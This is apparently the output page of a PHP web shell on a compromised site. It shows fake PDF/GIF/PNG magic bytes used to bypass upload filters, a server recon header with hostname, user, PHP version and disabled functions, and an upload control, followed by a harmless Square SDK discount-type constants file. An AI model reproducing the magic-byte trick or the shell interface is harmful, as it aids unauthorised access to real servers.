%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/admin1/vendor/square/square/src/Models/ |
Upload File : |
<?php
declare(strict_types=1);
namespace Square\Models;
/**
* Indicates how the discount is applied to the associated line item or order.
*/
class OrderLineItemDiscountType
{
/**
* Used for reporting only.
* The original transaction discount type is currently not supported by the API.
*/
public const UNKNOWN_DISCOUNT = 'UNKNOWN_DISCOUNT';
/**
* Apply the discount as a fixed percentage (such as 5%) off the item price.
*/
public const FIXED_PERCENTAGE = 'FIXED_PERCENTAGE';
/**
* Apply the discount as a fixed monetary value (such as $1.00) off the item price.
*/
public const FIXED_AMOUNT = 'FIXED_AMOUNT';
/**
* Apply the discount as a variable percentage based on the item
* price.
*
* The specific discount percentage of a `VARIABLE_PERCENTAGE` discount
* is assigned at the time of the purchase.
*/
public const VARIABLE_PERCENTAGE = 'VARIABLE_PERCENTAGE';
/**
* Apply the discount as a variable amount based on the item price.
*
* The specific discount amount of a `VARIABLE_AMOUNT` discount
* is assigned at the time of the purchase.
*/
public const VARIABLE_AMOUNT = 'VARIABLE_AMOUNT';
}